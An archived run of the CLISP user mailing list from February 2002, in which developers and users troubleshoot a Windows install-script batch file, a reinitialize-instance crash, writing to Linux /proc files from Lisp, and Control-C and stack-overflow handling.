<20020223190952.A1918@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Sam Steingold , clisp-list@lists.sourceforge.net References: <20020221174011.A1290@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from sds@gnu.org on Sat, Feb 23, 2002 at 12:58:59PM -0500 X-Scanner: exiscan *16egcP-0000ky-00*2KE7hZJiJXw* (ii.uib.no) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 10:11:02 2002 X-Original-Date: Sat, 23 Feb 2002 19:09:52 +0100 Quoting Sam Steingold (sds@gnu.org): | > * In message <20020221174011.A1290@apal.ii.uib.no> | > * On the subject of "[clisp-list] REINITIALIZE-INSTANCE problems" | > * Sent on Thu, 21 Feb 2002 17:40:12 +0100 | > * Honorable Stig E Sandoe writes: | > | > *** - handle_fault error2 ! address = 0x4556454F not in | > [0x202A6000,0x2036220C) ! | > SIGSEGV cannot be cured. Fault address = 0x4556454F. | > Segmentation fault (core dumped) | | just fixed this in the CVS. good :-) | thanks for the bug report. do you have an estimate when this (imho important) fix comes in a released clisp? ie when will the next clisp be released, it has been quite awhile, and looking at clisp-devel it seems to me that current cvs contains many important bug-fixes. May I politely ask for "release early, release often"? :-) -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From Bill_Clementson@jdedwards.com Sat Feb 23 11:16:39 2002 Received: from ns1.jdedwards.com ([199.166.248.147]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ehev-0005Bj-00 for ; Sat, 23 Feb 2002 11:16:37 -0800 Received: from denvscans3.jdedwards.com ([10.0.14.77]) by ns1.jdedwards.com (8.9.1/8.9.1) with SMTP id MAA04789; Sat, 23 Feb 2002 12:16:20 -0700 (MST) Received: from 10.0.14.50 by denvscans3.jdedwards.com (InterScan E-Mail VirusWall NT); Sat, 23 Feb 2002 12:20:09 -0700 Received: by cormails5.jdedwards.com with Internet Mail Service (5.5.2653.19) id ; Sat, 23 Feb 2002 12:13:13 -0700 Message-ID: <08CFC733EDACD211AEA40008C7A4D39C07F8E70C@cormails2.jdedwards.com> From: "Clementson, Bill" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Problem with install.lisp in Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 11:17:08 2002 X-Original-Date: Sat, 23 Feb 2002 12:16:00 -0700 > > The install.lisp program (in CVS) creates a batch file for starting > > CLISP in Windows. However, if CLISP is installed in a directory that > > has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the > > batch file will not work correctly. > > oops - my fault (I always put CLISP in c:/gnu/clisp)... > just fixed it in the CVS I tested the new version of the install.lisp program. It creates a batch file that looks like the following: @echo off "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 However, when I run the batc h file, I get the following error message: c:\>c:\clisp.bat c:\clisp.bat WARNING: No initialisation file specified. Please try: C:\Program Files\clisp-2.27\lisp.exe -M lispinit.mem *** - EVAL: the function SYSTEM::BATCHMODE-ERRORS is undefined -- Bill Clementson From Bill_Clementson@jdedwards.com Sat Feb 23 13:13:44 2002 Received: from ns1.jdedwards.com ([199.166.248.147]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ejUG-0001Qa-00 for ; Sat, 23 Feb 2002 13:13:44 -0800 Received: from denvscans3.jdedwards.com ([10.0.14.77]) by ns1.jdedwards.com (8.9.1/8.9.1) with SMTP id OAA07851; Sat, 23 Feb 2002 14:13:38 -0700 (MST) Received: from 10.0.14.51 by denvscans3.jdedwards.com (InterScan E-Mail VirusWall NT); Sat, 23 Feb 2002 14:17:27 -0700 Received: by cormails11.jdedwards.com with Internet Mail Service (5.5.2653.19) id ; Sat, 23 Feb 2002 14:19:03 -0700 Message-ID: <08CFC733EDACD211AEA40008C7A4D39C07F8E70D@cormails2.jdedwards.com> From: "Clementson, Bill" To: "'clisp-list@lists.sourceforge.net'" Cc: "'sds@gnu.org'" Subject: FW: [clisp-list] Problem with install.lisp in Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 13:14:03 2002 X-Original-Date: Sat, 23 Feb 2002 14:13:17 -0700 I did some follow-up tests. The batch file that is generated by the CVS version of install.lisp looks like this: @echo off "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 As I mentioned in my previous email, that batch file doesn't start up clisp correctly. If the batch file is changed (the only change is to swap the order of the -M and -B parameters) to look like this: @echo off "C:\Program Files\clisp-2.27\lisp.exe" -M "C:\Program Files\clisp-2.27\lispinit.mem" -B "C:\Program Files\clisp-2.27\" %1 %2 %3 %4 %5 %6 %7 %8 %9 it seems to work ok. However, in your earlier comments you mentioned that the -B switch tells CLISP where to find files like clhs.txt and UnicodeData.txt and that switch's value may not be being interpreted correctly either. If you can tell me some way to check whether the value of the -B switch has been interpreted correctly after clisp startup, I'll test whether just reversing the order of the arguments is a valid fix. However, in the meantime, you should probably reverse the fix that you made to install.lisp as it now creates a non-functional clisp.bat file (Note: the clisp.bat file is broken even for situations where the install is to a directory without spaces in its name). -- Bill Clementson From samuel.steingold@verizon.net Sat Feb 23 21:18:18 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16er3A-00010r-00 for ; Sat, 23 Feb 2002 21:18:16 -0800 Received: from gnu.org ([151.203.224.254]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020224051815.PANS26730.out012.verizon.net@gnu.org>; Sat, 23 Feb 2002 23:18:15 -0600 To: "Clementson, Bill" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with install.lisp in Windows References: <08CFC733EDACD211AEA40008C7A4D39C07F8E70C@cormails2.jdedwards.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <08CFC733EDACD211AEA40008C7A4D39C07F8E70C@cormails2.jdedwards.com> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 21:19:03 2002 X-Original-Date: 24 Feb 2002 00:14:51 -0500 > * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E70C@cormails2.jdedwards.com> > * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows" > * Sent on Sat, 23 Feb 2002 12:16:00 -0700 > * Honorable "Clementson, Bill" writes: > > I tested the new version of the install.lisp program. It creates a batch > file that looks like the following: > > @echo off > "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M > "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 curse be upon the moron who decided to use #\\ as the pathname separator! please try the appended patch. win32 is supposed to understand the normal slashes as well. to check the data directory (specified by the -B option) try calling BLAHS or describing a UNICODE character. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lisp: Serious empowerment. --- install.lisp.~1.5.~ Fri Feb 22 21:12:01 2002 +++ install.lisp Sun Feb 24 00:07:44 2002 @@ -5,7 +5,7 @@ ;; - to set the Registry appropriately ;; - to create CLISP.BAT on your desktop -(defvar *clisp-home* (namestring (default-directory))) +(defvar *clisp-home* (substitute #\/ #\\ (namestring (default-directory)))) (defvar *clisp-base-cmd* (concatenate 'string "\"" *clisp-home* "lisp.exe\" -B \"" *clisp-home* "\" -M ")) From samuel.steingold@verizon.net Sat Feb 23 21:33:54 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16erIH-0001qM-00 for ; Sat, 23 Feb 2002 21:33:53 -0800 Received: from gnu.org ([151.203.224.254]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020224053351.JMFK379.out019.verizon.net@gnu.org>; Sat, 23 Feb 2002 23:33:51 -0600 To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020223190952.A1918@apal.ii.uib.no> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 21:34:02 2002 X-Original-Date: 24 Feb 2002 00:30:28 -0500 > * In message <20020223190952.A1918@apal.ii.uib.no> > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on Sat, 23 Feb 2002 19:09:52 +0100 > * Honorable Stig E Sandoe writes: > > do you have an estimate when this (imho important) fix comes > in a released clisp? ie when will the next clisp be released, > it has been quite awhile, and looking at clisp-devel it seems > to me that current cvs contains many important bug-fixes. read CLISP/src/ChangeLog, find the bug you need, get the fixes you need from the CVS, apply the patches, build from the sources. > May I politely ask for "release early, release often"? :-) may I politely ask for money? :-) I have been unemployed for 3 weeks now, and if you can offer me a contract doing CLISP development, it would be nice. If you have a permanent position for me in the Boston, MA area, it would be even better (). [just in case - CLISP is and always will be under GPL. don't worry] -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Trespassers will be shot. Survivors will be SHOT AGAIN! From peter.wood@worldonline.dk Sun Feb 24 07:56:05 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f10M-0001VL-00 for ; Sun, 24 Feb 2002 07:56:02 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id CC6C4B530 for ; Sun, 24 Feb 2002 16:55:28 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1OFgGS00488; Sun, 24 Feb 2002 16:42:16 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020224164216.A463@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] with-open-file limitation on linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 07:57:01 2002 X-Original-Date: Sun, 24 Feb 2002 16:42:16 +0100 Hi This may be of interest to Clispers on Linux. Certain functions of the linux kernel can be controlled by echoing a '1' or '0' or '-1' to various files in the /proc filesystem. (Common knowledge) It turns out that Common Lisp's built in #'open and the with-open-file macro are useless for writing to these files. The kernel expects to have the number echoed thus: $ echo -1 > /proc/sys/fs/bin_fmt/status (for example) and the shell redirection operator '>' results in the the file being truncated to zero length. CL doesn't seem to allow for this behaviour in #'open keywords. I tried :supersede :overwrite and :append and they all resulted in Unix error EINVAL (invalid argument) and a rubbished terminal. I ended up using (linux:fopen "path" "w") since the "w" mode automatically results in truncation to zero length, and it worked fine. Regards, Peter From don-sourceforge@isis.cs3-inc.com Sun Feb 24 08:33:13 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f1aK-0001IA-00 for ; Sun, 24 Feb 2002 08:33:12 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g1OGWXB25228; Sun, 24 Feb 2002 08:32:33 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15481.5537.195300.108027@isis.cs3-inc.com> To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] with-open-file limitation on linux In-Reply-To: <20020224164216.A463@localhost.localdomain> References: <20020224164216.A463@localhost.localdomain> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 08:34:02 2002 X-Original-Date: Sun, 24 Feb 2002 08:32:33 -0800 Peter Wood writes: > Hi > > This may be of interest to Clispers on Linux. Certain functions of > the linux kernel can be controlled by echoing a '1' or '0' or '-1' to > various files in the /proc filesystem. (Common knowledge) > > It turns out that Common Lisp's built in #'open and the with-open-file > macro are useless for writing to these files. The kernel expects to > have the number echoed thus: > > $ echo -1 > /proc/sys/fs/bin_fmt/status Well, I don't seem to have this file, so it's possible that it's a problem with this particular file. Since every proc file has its own program for read/write it seems possible (even likely) that different files will act in different ways. > (for example) > > and the shell redirection operator '>' results in the the file being > truncated to zero length. CL doesn't seem to allow for this behaviour > in #'open keywords. I tried :supersede :overwrite and :append and > they all resulted in Unix error EINVAL (invalid argument) and a > rubbished terminal. I don't see this problem (see below) unless I try to write as non-root. [1]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f)) 299 [2]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output) (princ "1100" f)) "1100" [3]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f)) 1100 [4]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output) (princ "300" f)) "300" [5]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f)) 3000 ;; oops ... [6]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output ) (format f "300~%")) NIL [7]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f)) 300 [8]> and at this point in another shell cat /proc/sys/net/ipv4/route/gc_timeout 300 From peter.wood@worldonline.dk Sun Feb 24 09:57:41 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f2u1-0007Bv-00 for ; Sun, 24 Feb 2002 09:57:37 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id BC243B6E4 for ; Sun, 24 Feb 2002 18:57:31 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1OHhrn00196; Sun, 24 Feb 2002 18:43:53 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file limitation on linux Message-ID: <20020224184353.A131@localhost.localdomain> References: <20020224164216.A463@localhost.localdomain> <15481.5537.195300.108027@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15481.5537.195300.108027@isis.cs3-inc.com>; from don-sourceforge@isis.cs3-inc.com on Sun, Feb 24, 2002 at 08:32:33AM -0800 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 09:58:03 2002 X-Original-Date: Sun, 24 Feb 2002 18:43:53 +0100 On Sun, Feb 24, 2002 at 08:32:33AM -0800, Don Cohen wrote: > Peter Wood writes: > > Hi > > > > This may be of interest to Clispers on Linux. Certain functions of > > the linux kernel can be controlled by echoing a '1' or '0' or '-1' to ^^^^^^^^^^^^^^^^^ > > various files in the /proc filesystem. (Common knowledge) > > > > It turns out that Common Lisp's built in #'open and the with-open-file > > macro are useless for writing to these files. The kernel expects to ^^^^^^^^^^^^^^^ > > have the number echoed thus: > > > > $ echo -1 > /proc/sys/fs/bin_fmt/status > Well, I don't seem to have this file, so it's possible that it's a > problem with this particular file. > Since every proc file has its own program for read/write it seems > possible (even likely) that different files will act in different > ways. You won't have it unless you enabled the binfmt_misc option when you built the kernel. You are right about different files acting differently. I have been writing to (for example) /proc/sys/fs/binfmt_misc/register from lisp every time my machine boots for several months. The problem I described only applies to the files in binfmt_misc, which can be controlled by a -1, 0 or 1. I did mention that. > > > (for example) > > > > and the shell redirection operator '>' results in the the file being > > truncated to zero length. CL doesn't seem to allow for this behaviour > > in #'open keywords. I tried :supersede :overwrite and :append and > > they all resulted in Unix error EINVAL (invalid argument) and a > > rubbished terminal. > > I don't see this problem (see below) unless I try to write as > non-root. You don't see _this_ problem even if you do try to write as non-root, you see _another_ problem. :-) You don't see it because you aren't doing the same thing as I was. I believe it only applies to files which the kernel expects to be truncated to zero length (as happens when you use the redirection operator '>'. (info bash)) Echoing a -1 to /proc/sys/fs/binfmt_misc/status does not leave status with a '-1' in it, it _removes_ status and any files have been registered through /proc/sys/fs/binfmt_misc/register. > [6]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output ) (format f "300~%")) > NIL > [7]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f)) > 300 > [8]> > > and at this point in another shell > cat /proc/sys/net/ipv4/route/gc_timeout > 300 I know with-open-file works on some files in the system, because I've been using lisp to write to them for some time. But it does not work with the files in /proc/sys/fs/binfmt_misc/ _except_ the file called register which doesn't get truncated. Try wiping out gc_timeout in your example above with: echo > /proc/.../gc_timeout And you'll find it still contains the value 300. Normally, that would leave an empty file. I do think the problem I described is due to the kernel needing the file to be truncated to zero length before they get written to. That is what happens when fopen() gets called on the file with a MODE of "w", and using linux:fopen allows me to write to it from lisp. Regards, Peter From peter.wood@worldonline.dk Sun Feb 24 10:40:56 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f3Zt-0004WU-00 for ; Sun, 24 Feb 2002 10:40:53 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 06811B6DF for ; Sun, 24 Feb 2002 19:39:36 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1OIRfj00292; Sun, 24 Feb 2002 19:27:41 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020224192741.A280@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Sun, Feb 24, 2002 at 12:41:09AM -0500 Subject: [clisp-list] Re: proposal: probe-file -- major behavior change Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 10:41:05 2002 X-Original-Date: Sun, 24 Feb 2002 19:27:41 +0100 On Sun, Feb 24, 2002 at 12:41:09AM -0500, Sam Steingold wrote: Yes, please, Sam. Thank you for listening. Regards, Peter From Bill_Clementson@jdedwards.com Sun Feb 24 11:49:22 2002 Received: from ns1.jdedwards.com ([199.166.248.147]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f4eA-0007MX-00 for ; Sun, 24 Feb 2002 11:49:22 -0800 Received: from denvscans3.jdedwards.com ([10.0.14.77]) by ns1.jdedwards.com (8.9.1/8.9.1) with SMTP id MAA05635; Sun, 24 Feb 2002 12:49:13 -0700 (MST) Received: from 10.0.14.50 by denvscans3.jdedwards.com (InterScan E-Mail VirusWall NT); Sun, 24 Feb 2002 12:53:02 -0700 Received: by cormails5.jdedwards.com with Internet Mail Service (5.5.2653.19) id ; Sun, 24 Feb 2002 12:46:05 -0700 Message-ID: <08CFC733EDACD211AEA40008C7A4D39C07F8E70E@cormails2.jdedwards.com> From: "Clementson, Bill" To: "'sds@gnu.org'" , "Clementson, Bill" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Problem with install.lisp in Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 11:50:01 2002 X-Original-Date: Sun, 24 Feb 2002 12:48:49 -0700 Sam Steingold writes: > writes: > > > > I tested the new version of the install.lisp program. It > creates a batch > > file that looks like the following: > > > > @echo off > > "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program > Files\clisp-2.27\" -M > > "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 > %6 %7 %8 %9 > > curse be upon the moron who decided to use #\\ as the pathname > separator! > please try the appended patch. > win32 is supposed to understand the normal slashes as well. I applied the patch and it generates a batch file that starts up clisp ok. I ran a few tests and everything seems to work fine now. > to check the data directory (specified by the -B option) try calling > BLAHS or describing a UNICODE character. I don't know what BLAHS is and couldn't find any function or source file that looked like "BLAHS". Also, I don't know what you mean by "describing a UNICODE character" (well, more correctly, I know what the words mean, but I don't know how to do this in Lisp). Can you suggest a couple of test forms to try? Thanks for the quick response. -- Bill Clementson From samuel.steingold@verizon.net Sun Feb 24 13:00:22 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16f5kr-0004BS-00 for ; Sun, 24 Feb 2002 13:00:21 -0800 Received: from gnu.org ([151.203.224.254]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020224210019.LYSW25425.out018.verizon.net@gnu.org>; Sun, 24 Feb 2002 15:00:19 -0600 To: "Clementson, Bill" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with install.lisp in Windows References: <08CFC733EDACD211AEA40008C7A4D39C07F8E70E@cormails2.jdedwards.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <08CFC733EDACD211AEA40008C7A4D39C07F8E70E@cormails2.jdedwards.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 24 13:01:02 2002 X-Original-Date: 24 Feb 2002 15:56:59 -0500 > * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E70E@cormails2.jdedwards.com> > * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows" > * Sent on Sun, 24 Feb 2002 12:48:49 -0700 > * Honorable "Clementson, Bill" writes: > > I don't know what BLAHS is and couldn't find any function or source > file that looked like "BLAHS". Also, I don't know what you mean by > "describing a UNICODE character" (well, more correctly, I know what > the words mean, but I don't know how to do this in Lisp). Can you > suggest a couple of test forms to try? (clhs 'car) (desccribe (code-char 1234)) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Cannot handle the fatal error due to a fatal error in the fatal error handler. From rene.de.visser@sap.com Mon Feb 25 00:48:17 2002 Received: from smtpde02.sap-ag.de ([194.39.131.53]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fGnw-000229-00 for ; Mon, 25 Feb 2002 00:48:16 -0800 Received: from sap-ag.de (smtpde02) by smtpde02.sap-ag.de (out) with ESMTP id JAA04389 for ; Mon, 25 Feb 2002 09:52:17 +0100 (MEZ) Message-ID: <59357A260E15D311B5A60008C75D35300E4B9F75@dbwdfx13.wdf.sap-ag.de> From: "De Visser, Rene" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-SAP: out Subject: [clisp-list] Control-C no effect on windows 95? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 00:49:02 2002 X-Original-Date: Mon, 25 Feb 2002 09:47:52 +0100 Hello, CLisp version 2.27 On windows 95 (at least on my computer) control-C does not seem to have any effect. My program continues to execute. Is there some function that I can insert into my program that checks whether control-C has been pressed and then goes into the debugger? (Or can I change some setting on windows 95 or clisp??) I have tried the same thing on a computer installed with Windows 2000 and had no problems. Control-C stopped execution of the program immediately. Rene. Rene_de_Visser@hotmail.com From russell_mcmanus@yahoo.com Mon Feb 25 09:27:33 2002 Received: from bgp485673bgs.summit01.nj.comcast.net ([68.37.179.82] helo=localhost) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fOuS-0003NK-00 for ; Mon, 25 Feb 2002 09:27:32 -0800 Received: (from russe@localhost) by localhost (8.11.3/8.11.3) id g1PHPRH10326; Mon, 25 Feb 2002 12:25:27 -0500 (EST) X-Authentication-Warning: localhost: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@sourceforge.net From: Russell McManus Message-ID: <87elj9jwz8.fsf@yahoo.com> Lines: 5 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] stack overflow -> into debugger? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 09:28:04 2002 X-Original-Date: 25 Feb 2002 12:24:27 -0500 Is there some way to get clisp to drop me into the debugger when I get a stack overflow condition? -russ From abramson@aic.nrl.navy.mil Mon Feb 25 10:58:52 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fQKl-0000sR-00 for ; Mon, 25 